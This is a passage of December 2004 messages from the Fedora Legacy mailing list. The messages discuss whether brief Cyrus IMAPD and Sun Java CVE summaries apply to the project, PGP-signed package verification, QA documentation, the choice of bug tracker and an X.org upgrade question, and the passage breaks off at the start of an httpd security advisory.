http://security.e-matters.de/advisories/152004.html 04.47.13 CVE: CAN-2004-1029 Platform: Cross Platform Title: Sun Java Plug-in Security Restriction Bypass Description: Java Plug-in technology, part of the Java 2 Runtime Environment (JRE), establishes a connection between popular browsers and the Java platform. It is possible to bypass the Java sandbox and all security restrictions imposed within Java Applets to execute malicious applets and gain full control. Sun Java 2 Platform, Standard Edition (J2SE) versions 1.4.2_01 and 1.4.2_04 are known to be vulnerable. Ref: http://www.idefense.com/application/poi/display?id=158&type=vulnerabilities From sheltren at cs.ucsb.edu Fri Dec 3 15:24:37 2004 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Fri, 03 Dec 2004 07:24:37 -0800 Subject: Cyrus IMAPD, Sun Java vulnerabilities In-Reply-To: <41B08208.3050906@ysu.edu> Message-ID: I'm not sure on Cyrus, but I don't think RedHat/Fedora has included Sun Java in any release. -Jeff On 12/3/04 7:11 AM, "John Dalbec" wrote: > Do these issues apply to -legacy? > > 04.47.8 CVE: CAN-2004-1011, CAN-2004-1012, CAN-2004-1013, > CAN-2004-1015 > Platform: Unix > Title: Cyrus IMAPD Multiple Remote Vulnerabilities > Description: Cyrus IMAPD is an IMAP daemon. It is reported to be > vulnerable to multiple remote buffer overflow issues. Cyrus IMAPD > versions 2.2.4 to 2.2.8 are reported to be vulnerable. > Ref: http://security.e-matters.de/advisories/152004.html > > 04.47.13 CVE: CAN-2004-1029 > Platform: Cross Platform > Title: Sun Java Plug-in Security Restriction Bypass > Description: Java Plug-in technology, part of the Java 2 Runtime > Environment (JRE), establishes a connection between popular browsers > and the Java platform. It is possible to bypass the Java sandbox and > all security restrictions imposed within Java Applets to execute > malicious applets and gain full control. Sun Java 2 Platform, Standard > Edition (J2SE) versions 1.4.2_01 and 1.4.2_04 are known to be > vulnerable. > Ref: > http://www.idefense.com/application/poi/display?id=158&type=vulnerabilities > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From rostetter at mail.utexas.edu Fri Dec 3 15:24:32 2004 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Fri, 3 Dec 2004 09:24:32 -0600 Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: References: <20041128181125.GA3941@home.thedom.org> <1101734391.23488.4.camel@mdlinux> Message-ID: <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> Quoting Pekka Savola : > OK, let me try to see if I could improve this a bit. > > Use of Bugzilla: > - having to register a fedora.us bugzilla account, it would be better > to use RH's bugzilla if possible/reasonable. > - bugzilla being too user-unfriedly; for example, the GUI at > http://bugzilla.fedora.us/query.cgi has _way_ too many options and > scares people away. You'll definitely want something simpler, like > the interface Red Hat is using. This has been brought up many times, and most users tend to agree, but the powers that be in FL seem to be resistent to change to the bugzilla setup. Due to the overwhelming support for changes to Bugzilla, I really think this needs to be looked into. Maybe an ad-hoc committee to look into it? > Use of PGP signatures: > - Is it necessary to use PGP signatures when reporting at bugzilla? YES! > Bugzilla already provides user authentication, so this only gives > relatively little additional protection. It's much simpler if you > would not need to hassle with PGP at all if you just want to report > whether a package works or not. It's (more) OK to require the use of > PGP for those who submit the actual packages, etc., though. See the security page. Digital signatures are critical to the project. No other way can one establish trust, and the project depends on a trust model to succeed. > Documenting the process very clearly and providing tools to help in > the process: It's a wiki. If you don't like it, change it. If you don't know how to wiki, but want to change it, ask. If you don't know how to wiki, don't want to learn how to, then simply post a patch or update to the mailing list. It is a community project; be part of the community! > - For example: updates-testing says: > > 1. Download the binary RPM package from the updates-testing channel. > 2. Verify the integrity of the downloaded package (see > http://www.fedoralegacy.org/about/security.php). > 3. Install the package, and note any installation problems. > 4. Use the package (as appropriate for the package), and note any > problems found. > > These must be more explicit. What exactly must be verified at "2"? Well, you refer to the link given, which tells you how and what to verify. > How do you report being successful after "4"? You see the next section of the page, IIRC. > The same applies to the rest. I don't see your point. I think you simply failed to follow the links, or read the rest of the page. But that doesn't matter. It is a wiki page. You are free to modify it to make it better. You are free to suggest additions and changes to it. Please participate! > We'll need a (hopefully short and > concise) list which we can point people to, and say "follow these 3 > steps and you're done." There is no such thing. First, above is a 4 step list. You don't like it. So it won't work. Second, each package is different. How you verify a package depends on the package. Different packages need different verification processes. Third, each tester's machine is different. One may install with YUM, one with APT, one with RPM of the binary RPM, one by rebuilding the source SRPM, etc. Some will be missing dependencies. Others will have conflicting packages, or newer versions installed, etc. Some will use lilo, others grub, etc. We can't provide a simple three step process that addresses all the possible situations and variations. > If it's a lot of steps (more than, say, 5), > we'll want to create scripts to help in the process -- e.g., one which > compares the original SRPM and the updated SRPM and shows the results > (recursing through tarballs etc.); one that does the same for > binaries; etc. -- I think these have already circulated on a list half > a year ago or so. Yes. I wish the people with these scripts would put them up in the wiki with instructions on how to use them, etc. So far, no one has taken up my challange to do that, AFAIK. > There should also be more documentation at least on following: > 1) documenting new vulnerabilities (I think Jesse has mostly been > doing this) -- in bugzilla? What isn't covered about this? If you tell me what is missing, I'll add it. If the problem is you don't know where to look, let me know and we'll try to make some cross-links to make things easier to find, or menu changes to make it easier. But you need to tell us what the problem is. > 2) how you proceed if there is new vulnerability in the same package > which is already in the process but not released to updates yet. This is a policy decision we're struggling with, and hence a policy needs to be established. This isn't a documentation issue at this time, as there is no set policy yet. > 3) how do you go about from proposing an updated package (in response > to 1), and how that gets into the build system. This is addressed, as far as I'm concerned, in the docs. If you disagree, we need to talk out why. I think the biggest things right now are bugzilla complaints/changes, and the policy on what to do with updates that have additional changes before they are released. These are real problems, and policy problems. As for docs, I've asked many, many times for people to participate. Only about 3 people have ever taken up the call. We need more paritipation. We need more discussion, more ideas. Please help! Yes, I'm being rather obtuse about the documentation changes recommended above, but it is mostly due to the lack of content in the suggestions. Please address each point separately, and we'll hash them out and get them resolved as best as possible. I'm not against changes or better docs. I just have only so much time to devote to it, and so much talent to go into it, and only one perspective when looking at the docs. I need help to improve them, and the only way, and best way, to get that help is via the participation of as many people as possible in discussion about the current docs or lack thereof. > -- > Pekka Savola "You each name yourselves king, yet the > Netcore Oy kingdom bleeds." > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -- Eric Rostetter From rob.myers at gtri.gatech.edu Fri Dec 3 15:54:13 2004 From: rob.myers at gtri.gatech.edu (Rob Myers) Date: Fri, 03 Dec 2004 10:54:13 -0500 Subject: Cyrus IMAPD, Sun Java vulnerabilities In-Reply-To: References: Message-ID: <1102089253.5024.17.camel@rXm-581b.stl.gtri.gatech.edu> neither RedHat 7.3, 9 Fedora Core 1 included Sun Java. an updated Sun Java is available from Sun and jpackage.org. IIRC, cyrus-imapd was added from Fedora Extras to Fedora Core 2. earlier releases did not include it. rob. On Fri, 2004-12-03 at 10:24, Jeff Sheltren wrote: > I'm not sure on Cyrus, but I don't think RedHat/Fedora has included Sun Java > in any release. > > -Jeff > > > On 12/3/04 7:11 AM, "John Dalbec" wrote: > > > Do these issues apply to -legacy? > > > > 04.47.8 CVE: CAN-2004-1011, CAN-2004-1012, CAN-2004-1013, > > CAN-2004-1015 > > Platform: Unix > > Title: Cyrus IMAPD Multiple Remote Vulnerabilities > > Description: Cyrus IMAPD is an IMAP daemon. It is reported to be > > vulnerable to multiple remote buffer overflow issues. Cyrus IMAPD > > versions 2.2.4 to 2.2.8 are reported to be vulnerable. > > Ref: http://security.e-matters.de/advisories/152004.html > > > > 04.47.13 CVE: CAN-2004-1029 > > Platform: Cross Platform > > Title: Sun Java Plug-in Security Restriction Bypass > > Description: Java Plug-in technology, part of the Java 2 Runtime > > Environment (JRE), establishes a connection between popular browsers > > and the Java platform. It is possible to bypass the Java sandbox and > > all security restrictions imposed within Java Applets to execute > > malicious applets and gain full control. Sun Java 2 Platform, Standard > > Edition (J2SE) versions 1.4.2_01 and 1.4.2_04 are known to be > > vulnerable. > > Ref: > > http://www.idefense.com/application/poi/display?id=158&type=vulnerabilities > > > > -- > > fedora-legacy-list mailing list > > fedora-legacy-list at redhat.com > > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From pekkas at netcore.fi Fri Dec 3 16:04:56 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Fri, 3 Dec 2004 18:04:56 +0200 (EET) Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> References: <20041128181125.GA3941@home.thedom.org> <1101734391.23488.4.camel@mdlinux> <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> Message-ID: On Fri, 3 Dec 2004, Eric Rostetter wrote: >> Use of PGP signatures: >> - Is it necessary to use PGP signatures when reporting at bugzilla? > > YES! > >> Bugzilla already provides user authentication, so this only gives >> relatively little additional protection. It's much simpler if you >> would not need to hassle with PGP at all if you just want to report >> whether a package works or not. It's (more) OK to require the use of >> PGP for those who submit the actual packages, etc., though. > > > See the security page. Digital signatures are critical to the project. > No other way can one establish trust, and the project depends on a trust > model to succeed. At least http://www.fedoralegacy.org/about/security.php does not describe this at all. Note that I'm not arguing that the RPMs should not be signed, but that the reviewers would not have to sign their comments if they didn't want to bother. There is no gain in requiring that. If you want to get the past track record, you can just search for the bugzilla account, not for the PGP signature. >> - For example: updates-testing says: >> >> 1. Download the binary RPM package from the updates-testing channel. >> 2. Verify the integrity of the downloaded package (see >> http://www.fedoralegacy.org/about/security.php). >> 3. Install the package, and note any installation problems. >> 4. Use the package (as appropriate for the package), and note any >> problems found. >> >> These must be more explicit. What exactly must be verified at "2"? > > Well, you refer to the link given, which tells you how and what to verify. So, you'll only check the PGP signature? That's simple, sure. If there is nothing more to do than to check that the PGP signature is OK and it installs nicely, why don't just say that? E.g., Verify the PGP signature of the downloaded package (see the details at http://www.fedoralegacy.org/about/security.php). As it is, the statement seems to imply there might be a lot more to verify than just PGP signature of the RPM. >> How do you report being successful after "4"? > > You see the next section of the page, IIRC. Not sufficiently concise what must be done (an example might not hurt, e.g., a pointer to a bug and referring to the comment number to look at). >> The same applies to the rest. > > I don't see your point. I think you simply failed to follow the links, > or read the rest of the page. But that doesn't matter. It is a wiki > page. You are free to modify it to make it better. You are free > to suggest additions and changes to it. Please participate! No, my point is that it _might_ (or not, not sure) be sufficient to get a feeling what you should do if you scanned the whole website, and read it intensively for hours. That's not good marketing. :) Unless the website can describe in a manner that can be understood in less than 5 minutes how you can help in the process, it doesn't help those people (most of them :) who don't have hours to devote to finding all the details -- at least at first. The learning curve must be _very_ low. That's only way to get participation. > There is no such thing. First, above is a 4 step list. You don't like > it. So it won't work. Second, each package is different. How you verify > a package depends on the package. Different packages need different > verification processes. Third, each tester's machine is different. One > may install with YUM, one with APT, one with RPM of the binary RPM, one > by rebuilding the source SRPM, etc. Some will be missing dependencies. > Others will have conflicting packages, or newer versions installed, etc. > Some will use lilo, others grub, etc. We can't provide a simple three > step process that addresses all the possible situations and variations. The issues you've pointed out are things that any averagely clued administrator familiar with Red Hat Linux should be able to figure out. We don't need to give out the exact commands how to fetch the package, or which apt/yum/etc. parameters to use to install them. We can assume that the admin can figure out if we say 'install the package, from URL:xxx'. But we'll need _explicit_ instructions (IMHO) for the fedora legacy-specific stuff, which we cannot assume the admin is familiar with. >> If it's a lot of steps (more than, say, 5), >> we'll want to create scripts to help in the process -- e.g., one which >> compares the original SRPM and the updated SRPM and shows the results >> (recursing through tarballs etc.); one that does the same for >> binaries; etc. -- I think these have already circulated on a list half >> a year ago or so. > > Yes. I wish the people with these scripts would put them up in the wiki > with instructions on how to use them, etc. So far, no one has taken up > my challange to do that, AFAIK. Yeah.. this is a BIG problem for doing meaningful upgrade testing. (Not so much at updates-testing phase, but in the previous stage). >> There should also be more documentation at least on following: >> 1) documenting new vulnerabilities (I think Jesse has mostly been >> doing this) -- in bugzilla? > > What isn't covered about this? If you tell me what is missing, I'll > add it. If the problem is you don't know where to look, let me know > and we'll try to make some cross-links to make things easier to find, > or menu changes to make it easier. But you need to tell us what the > problem is. What kind of information do you need to put in the report? How do you articulate the subject, what other special keywords you put there, etc.? > As for docs, I've asked many, many times for people to participate. Only > about 3 people have ever taken up the call. We need more paritipation. > We need more discussion, more ideas. Please help! > > Yes, I'm being rather obtuse about the documentation changes recommended > above, but it is mostly due to the lack of content in the suggestions. > Please address each point separately, and we'll hash them out and get > them resolved as best as possible. I'm not against changes or better > docs. I just have only so much time to devote to it, and so much talent > to go into it, and only one perspective when looking at the docs. I need > help to improve them, and the only way, and best way, to get that help > is via the participation of as many people as possible in discussion about > the current docs or lack thereof. There seem to be two options: 1) someone really familiar with an optimal process jumps up to describe/organize it better for the FL QA beginners, or 2) a FL QA beginner with a lot of free time comes up, figures out everything on his own, and then suggests fixes to the documentation. This would take a LOT of time (I'd say in the order of week), so I fear this isn't going to happen. I'd really hope that someone from category 1) could try to re-think the documentation from a FL tester's perspective -- and when it would be much better, later the the huge influx of FL testers (yeah, right ;-) could also step up and suggest minor enhancements. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From rostetter at mail.utexas.edu Fri Dec 3 17:02:17 2004 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Fri, 3 Dec 2004 11:02:17 -0600 Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: References: <20041128181125.GA3941@home.thedom.org> <1101734391.23488.4.camel@mdlinux> <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> Message-ID: <1102093337.3d03e48d17544@mail.ph.utexas.edu> Quoting Pekka Savola : > > See the security page. Digital signatures are critical to the project. > > No other way can one establish trust, and the project depends on a trust > > model to succeed. > > At least http://www.fedoralegacy.org/about/security.php does not > describe this at all. I completely disagree. So can you tell me what it is you expect to see there that you are not seeing there? > Note that I'm not arguing that the RPMs should not be signed, but that > the reviewers would not have to sign their comments if they didn't > want to bother. There is no gain in requiring that. >From the above web page: Like the previous fedora.us development, all Fedora Legacy developers are required to use GPG in a proper manner in all communications of substance. This allows messages and packages to be verifiable back to specific individuals. Most importantly this enables building the corpus of historical evidence necessary for anyone to read, verify GPG signatures, and decide based upon the contributor's good advice if they are to be trusted or not. This is part of the "web of trust" concept. What we gain is someone not pretending to be others, reposting someone elses posting under a different identity, someone being known/recognized as a single individual even if they post under different names or email addresses, and so on. Plus we know the contents of the posting are not corrupted, etc. Plus we can correlate their postings on other sites to ours, so we can build trust based on other projects they work on, etc. > > Well, you refer to the link given, which tells you how and what to verify. > > So, you'll only check the PGP signature? That's simple, sure. If > there is nothing more to do than to check that the PGP signature is OK > and it installs nicely, why don't just say that? No, it tells you both how to check the signature, and the md5/sha1 checksums. If we say this in-line in the QA page, we need to include all the instructions there which is several paragraphs and which are duplicated elsewhere. So instead, we point to a single page, which lists all the info. Then if we need to update things, we only need to update one page, not multiple pages. > E.g., > > Verify the PGP signature of the downloaded package > (see the details at http://www.fedoralegacy.org/about/security.php). First, it would have to be: Verify the PGP signature and md5 or sha1 checksum of the downloaded package ( see the details at blah blah blah). I fail to see how that is reall much more clear than: Verify the integrity of the downloaded package (see http://www.fedoralegacy.org/about/security.php). when that page then has a section called "Verifying RPMS packages" on it. But we can make it more verbose, no problem. I'll take care of that. > As it is, the statement seems to imply there might be a lot more to > verify than just PGP signature of the RPM. There is. You should also check the checksums as documented on the page. > >> How do you report being successful after "4"? > > > > You see the next section of the page, IIRC. > > Not sufficiently concise what must be done (an example might not > hurt, e.g., a pointer to a bug and referring to the comment number to > look at). Please provide an example. I'm not completely sure what you want. Sounds to me like any such additional content would be another page which this would link to (as an example page, for instance). But I'm really not sure what you mean. > That's not good marketing. :) Unfortunately I have no marketing experience. > Unless the website can describe in a manner that can be understood in > less than 5 minutes how you can help in the process, it doesn't help > those people (most of them :) who don't have hours to devote to > finding all the details -- at least at first. One hopes that if they have problems or questions they will ask for help on the mailing list or IRC, though I know many won't. > The learning curve must be _very_ low. That's only way to get > participation. I agree, and I agree it is slightly too high (but not as high as you think it is). But many of the people involved (myself, Jesse, etc) are very busy, and our knowledge base is not in marketing or writing, so we need help. We need people to step up and bit-wise refine the docs. Tell us what is bad, what needs work, what needs more explaination, etc. And if possible, give us actual text to add or replacement text to use instead. > > Yes. I wish the people with these scripts would put them up in the wiki > > with instructions on how to use them, etc. So far, no one has taken up > > my challange to do that, AFAIK. > > Yeah.. this is a BIG problem for doing meaningful upgrade testing. > (Not so much at updates-testing phase, but in the previous stage). If I get time, I'll try to contact people who posted scripts or url links and get permission to put them in the wiki. But it sure would be easier if they authors would do this stuff themselves. > >> There should also be more documentation at least on following: > >> 1) documenting new vulnerabilities (I think Jesse has mostly been > >> doing this) -- in bugzilla? > > > > What isn't covered about this? If you tell me what is missing, I'll > > add it. If the problem is you don't know where to look, let me know > > and we'll try to make some cross-links to make things easier to find, > > or menu changes to make it easier. But you need to tell us what the > > problem is. > > What kind of information do you need to put in the report? How do you > articulate the subject, what other special keywords you put there, > etc.? I can see where this info is missing. I'll put it on the todo list. > There seem to be two options: > 1) someone really familiar with an optimal process jumps up to > describe/organize it better for the FL QA beginners, or First, some of this stuff is still to be decided. So it doesn't even exist yet, and hence can't be documented yet. Second, no one with familiarity to the optimal process is going to jump up any time soon, because all 4-5 people who fit this description are too busy right now, etc. BTW, I'm a FL QA beginner myself. > 2) a FL QA beginner with a lot of free time comes up, figures out > everything on his own, and then suggests fixes to the documentation. First, he shouldn't have to figure it out on his own. Help is available, they just need to ask for it. But yes, the way the docs got written is myself and two other beginners who had no clue started trying to figure it out and document it. If another 2 or 3 would join in, we could make real progress. The current docs present the problems and solutions the 3 of us original people had joining the project. It met our needs. If it doesn't meet other people's needs, the best way to fix that is that they speak up. But they can't speak up in vague terms (the docs suck, the docs are not complete, the docs are too vague). They need to speak up in specific terms (the docs on doing X are too vague, or I can't find page X from page Y, or paragraph 5 on page Z is unclear). > This would take a LOT of time (I'd say in the order of week), so I > fear this isn't going to happen. Well, it may, or may not. But if you just post a specific question or complaint, then we can fix it, or explain why it shouldn't be fixed, and one more thing is improved. One step is better than no steps. > I'd really hope that someone from category 1) could try to re-think > the documentation from a FL tester's perspective They have. But from a more experienced FL tester's perspective. Once you pass from beginner to intermediate or advanced, it is *very* hard to look at it again from a beginner's point of view. For that, we need additional beginners... > -- and when it would > be much better, later the the huge influx of FL testers (yeah, right > ;-) could also step up and suggest minor enhancements. It really all starts with minor enhancements. Major overhauls rarely work. Minor, incremental fixes and enhancements by multiple people are almost always the best way to improve documentation and web sites. Plus, one person's discussion often leads others to join in, and results can really come fast from there. But we need that first person to "jump start" the process. > -- > Pekka Savola "You each name yourselves king, yet the > Netcore Oy kingdom bleeds." > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -- Eric Rostetter From jdavila at hampshire.edu Fri Dec 3 17:07:10 2004 From: jdavila at hampshire.edu (Jaime Davila) Date: Fri, 03 Dec 2004 12:07:10 -0500 Subject: moving from xfree86 to xorg Message-ID: <41B09D3E.7010401@hampshire.edu> Hello, I am using FC1, and would like to upgrade my xserver. As far as I can tell, I have xfree86 running, which came with the FC1 distro. How do I move to x.org? SHOULD I move to x.org, or is that an immense pain in the @$$? I'm hoping that I can do the move with something as simple as a yum command. Is that all it takes? Thanks, Jaime -- ****************************************************** Jaime J. Davila Assistant Professor of Computer Science Hampshire College School of Cognitive Science jdavila at hampshire dot edu http://helios.hampshire.edu/jdavila ******************************************************* From ad+lists at uni-x.org Fri Dec 3 17:23:08 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Fri, 03 Dec 2004 18:23:08 +0100 Subject: moving from xfree86 to xorg In-Reply-To: <41B09D3E.7010401@hampshire.edu> References: <41B09D3E.7010401@hampshire.edu> Message-ID: <1102094588.22761.771.camel@serendipity.dogma.lan> Am Fr, den 03.12.2004 schrieb Jaime Davila um 18:07: > I am using FC1, and would like to upgrade my xserver. As far as I can > tell, I have xfree86 running, which came with the FC1 distro. > > How do I move to x.org? SHOULD I move to x.org, or is that an immense > pain in the @$$? > > I'm hoping that I can do the move with something as simple as a yum > command. Is that all it takes? > Jaime Jaime, you are on the wrong list with your question. To quote Eric Rostetter from yesterdays list mail here: "But the Fedora Legacy list is for discussions involving the Fedora Legacy project, its security updates and/or bug fixes. This includes questions about installation or updating of packages, using the tools provided to keep a system up to date, discussions of bugs or security issues, and discussion about the FL project itself. It does not include discussions about day-to-day operation of Red Hat Linux or Fedora Core systems or their packages, except as related to FL updates to them." The Fedora Legacy Project cares for security updates, not feature updates. My suggestion: upgrade to FC3 if you want/need a newer X. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.9-1.6_FC2smp Serendipity 18:22:53 up 13 days, 13:10, load average: 1.44, 0.82, 0.49 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From rostetter at mail.utexas.edu Fri Dec 3 18:34:20 2004 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Fri, 3 Dec 2004 12:34:20 -0600 Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: References: <20041128181125.GA3941@home.thedom.org> <1101734391.23488.4.camel@mdlinux> <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> Message-ID: <1102098860.c33a54f5c8871@mail.ph.utexas.edu> Quoting Pekka Savola : > At least http://www.fedoralegacy.org/about/security.php does not > describe this at all. Updated the page slightly as concerns verifying packages. > >> 2. Verify the integrity of the downloaded package (see > >> http://www.fedoralegacy.org/about/security.php). Updated link wording slightly. > >> There should also be more documentation at least on following: > >> 1) documenting new vulnerabilities (I think Jesse has mostly been > >> doing this) -- in bugzilla? I've added a link to the "Participate" page to a new wiki page about Vulnerability Tracking. It isn't much, but it is a start. > What kind of information do you need to put in the report? How do you > articulate the subject, what other special keywords you put there, > etc.? Hmm. I don't have much of a clue. Most of what I know is there in the wiki. If someone more familiar with Bugzilla can add info about how to create a Bugzilla bug "correctly" as concerns the bugzilla structure, keywords, states, etc. then please help out and add details. Also, I've started a list of mailing lists and web sites there, but I'm sure others have additional sites they can add. Also, I've added a link to the wiki on the top header line, so it is now easier to get to the wiki from the web site. I think that is useful, but feedback is appreciated. -- Eric Rostetter From spamtrap433941935136 at anime.net Fri Dec 3 20:40:04 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Fri, 3 Dec 2004 12:40:04 -0800 (PST) Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: Message-ID: On Fri, 3 Dec 2004, Pekka Savola wrote: > Use of Bugzilla: > - having to register a fedora.us bugzilla account, it would be better > to use RH's bugzilla if possible/reasonable. > - bugzilla being too user-unfriedly; for example, the GUI at > http://bugzilla.fedora.us/query.cgi has _way_ too many options and > scares people away. You'll definitely want something simpler, like > the interface Red Hat is using. I may get shit for this, but I like mantis far better than bugzilla. And i've used both extensively (along with others). http://www.mantisbt.org/ -Dan From marcdeslauriers at videotron.ca Sat Dec 4 02:02:36 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Fri, 03 Dec 2004 21:02:36 -0500 Subject: Round-up, 2004-11-28 In-Reply-To: References: <20041128181125.GA3941@home.thedom.org> Message-ID: <1102125756.9739.7.camel@mdlinux> On Mon, 2004-11-29 at 09:02 +0200, Pekka Savola wrote: > This has been superceded. There's a new bug out there allowing local > code execution through SSI parsing, and I guess this update should > include that as well... Are you talking about this one?: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0940 If so, it's already included. If not, where can I get more info about the one you're talking about? Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From mattdm at mattdm.org Sat Dec 4 04:17:20 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Fri, 3 Dec 2004 23:17:20 -0500 Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: References: Message-ID: <20041204041720.GA19502@jadzia.bu.edu> On Fri, Dec 03, 2004 at 12:40:04PM -0800, Dan Hollis wrote: > I may get shit for this, but I like mantis far better than bugzilla. And > i've used both extensively (along with others). > http://www.mantisbt.org/ Hmmm. I looked at it a bit, and it doesn't seem to really have the flexibility and power that bugzilla does. (No fulltext searching, support for multiple projects (say, for example, more than one src.rpm!) is immature, etc.) Perhaps most importantly, the main Fedora project is based around bugzilla, and I think it makes sense to keep Legacy the same. However, it would be cool if the FL bugzilla were as nicely configured as the RH one (especially their new beta layout -- ). -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From spamtrap433941935136 at anime.net Sat Dec 4 07:58:11 2004 From: spamtrap433941935136 at anime.net (Dan Hollis) Date: Fri, 3 Dec 2004 23:58:11 -0800 (PST) Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: <20041204041720.GA19502@jadzia.bu.edu> Message-ID: On Fri, 3 Dec 2004, Matthew Miller wrote: > On Fri, Dec 03, 2004 at 12:40:04PM -0800, Dan Hollis wrote: > > I may get shit for this, but I like mantis far better than bugzilla. And > > i've used both extensively (along with others). > > http://www.mantisbt.org/ > Hmmm. I looked at it a bit, and it doesn't seem to really have the > flexibility and power that bugzilla does. (No fulltext searching, support > for multiple projects (say, for example, more than one src.rpm!) is > immature, etc.) Say what? It most certainly _does_ do fulltext searching, and support for multiple projects is quite mature. There is also a quite nice bug interdependency system which is very easy to use and quite flexible. Don't know what power you think is missing. I use both extensively and I havent found anything bugzilla can do that mantis can't. > Perhaps most importantly, the main Fedora project is based around bugzilla, > and I think it makes sense to keep Legacy the same. However, it would be > cool if the FL bugzilla were as nicely configured as the RH one (especially > their new beta layout -- ). That's a pity, because bugzilla is so cumbersome and obtuse. -Dan From jimpop at yahoo.com Sat Dec 4 13:37:15 2004 From: jimpop at yahoo.com (Jim Popovitch) Date: Sat, 4 Dec 2004 05:37:15 -0800 (PST) Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: <20041204041720.GA19502@jadzia.bu.edu> Message-ID: <20041204133715.50409.qmail@web60708.mail.yahoo.com> --- Matthew Miller wrote: > > Perhaps most importantly, the main Fedora project is based around bugzilla, > and I think it makes sense to keep Legacy the same. However, it would be > cool if the FL bugzilla were as nicely configured as the RH one (especially > their new beta layout -- ). > I agree. There is no need to completely re-tool at this point, lets just simplify things where we can. -Jim P. From jkeating at j2solutions.net Sat Dec 4 16:49:39 2004 From: jkeating at j2solutions.net (Jesse Keating) Date: Sat, 4 Dec 2004 08:49:39 -0800 Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> References: <20041128181125.GA3941@home.thedom.org> <1102087472.df135ec3ff1f6@mail.ph.utexas.edu> Message-ID: <200412040849.43010.jkeating@j2solutions.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 03 December 2004 07:24, Eric Rostetter wrote: > This has been brought up many times, and most users tend to agree, but > the powers that be in FL seem to be resistent to change to the bugzilla > setup. I've BEEN in communication with Red Hat about us using their bugzilla. Mostly because it's easier, and fedora.us is going away due to Fedora Extras. Red Hat however has has more important things on their plate, such as Extras. I hope to have some traction on this issue very soon. - -- Jesse Keating RHCE (http://geek.j2solutions.net) Fedora Legacy Team (http://www.fedoralegacy.org) GPG Public Key (http://geek.j2solutions.net/jkeating.j2solutions.pub) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBseql4v2HLvE71NURAt6WAJ46Ylj0mg9GKb8YWxQ/xsoJ7yUDPACgv1QF sF6+8D9eK0LWXstW+ltWryY= =/BSD -----END PGP SIGNATURE----- From ehemdal at townisp.com Sat Dec 4 23:25:47 2004 From: ehemdal at townisp.com (J. Erik Hemdal) Date: Sat, 4 Dec 2004 18:25:47 -0500 Subject: moving from xfree86 to xorg In-Reply-To: <20041204170015.70DF173BC7@hormel.redhat.com> Message-ID: > How do I move to x.org? SHOULD I move to x.org, or is that an immense > pain in the @$$? Hi (from one of your former students, BTW) -- What are you hoping to achieve? As far as I know there's nothing wrong with XFree86, and nothing other than licensing issues to argue for Xorg. If there's a package for xorg, I think it is as simple as a yum command, but if not, you might be building your own. I've not seen any xorg packages provided for FC1 or FC2. Building might be painful. To check, try querying your yum repository to see if you can find what you want. Alternatively, you can upgrade to FC3 and get it. If you try your own upgrade, hang on to the XFree86 config file; xorg will use it if there's no xorg.conf. Erik Hemdal > From marcdeslauriers at videotron.ca Sat Dec 4 04:07:29 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Fri, 03 Dec 2004 23:07:29 -0500 Subject: [FLSA-2004:2148] Updated httpd, apache and mod_ssl packages fix security issues Message-ID: <41B13801.1040302@videotron.ca> ----------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated httpd, apache and mod_ssl packages fix security issues Advisory ID: FLSA:2148 Issue date: 2004-12-03 Product: Red Hat Linux, Fedora Core Keywords: Bugfix Cross references: https://bugzilla.fedora.us/show_bug.cgi?id=2148 CVE Names: CAN-2004-0885 CAN-2004-0940 CAN-2004-0942 ----------------------------------------------------------------------- ----------------------------------------------------------------------- 1. Topic: Updated httpd packages that include fixes for security issues are now available. The Apache HTTP server is a powerful, full-featured, efficient, and freely-available Web server. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 3. Problem description: An issue has been discovered in the mod_ssl module when configured to use the 